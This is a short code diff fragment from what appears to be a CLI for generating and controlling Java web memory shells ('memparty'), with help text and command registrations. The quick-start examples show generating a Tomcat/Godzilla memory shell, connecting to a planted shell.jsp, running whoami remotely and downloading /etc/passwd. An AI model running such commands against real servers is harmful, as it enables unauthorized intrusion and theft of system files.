+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
4630
+ process.exitCode = 1;
4631
+ return;
3932
4632
  }
3933
4633
  const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
3934
4634
  logOp({
@@ -4093,7 +4793,7 @@ function buildProgram() {
4093
4793
  Quick start:
4094
4794
  $ memparty gen # interactive memory-shell wizard
4095
4795
  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
4096
- $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
4796
+ $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token
4097
4797
  $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
4098
4798
  $ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
4099
4799
  $ memparty list # saved targets
@@ -4112,6 +4812,8 @@ Every subcommand has its own examples: memparty <command> --help
4112
4812
  registerTargetCommand(program);
4113
4813
  registerLogCommand(program);
4114
4814
  registerParseClassNameCommand(program);
4815
+ registerProfileCommand(program);
4816
+ registerDemoCommand(program);
4115
4817
  registerVersionCommand(program);
4116
4818
  registerMcpCommand(program);
4117
4819
  return program;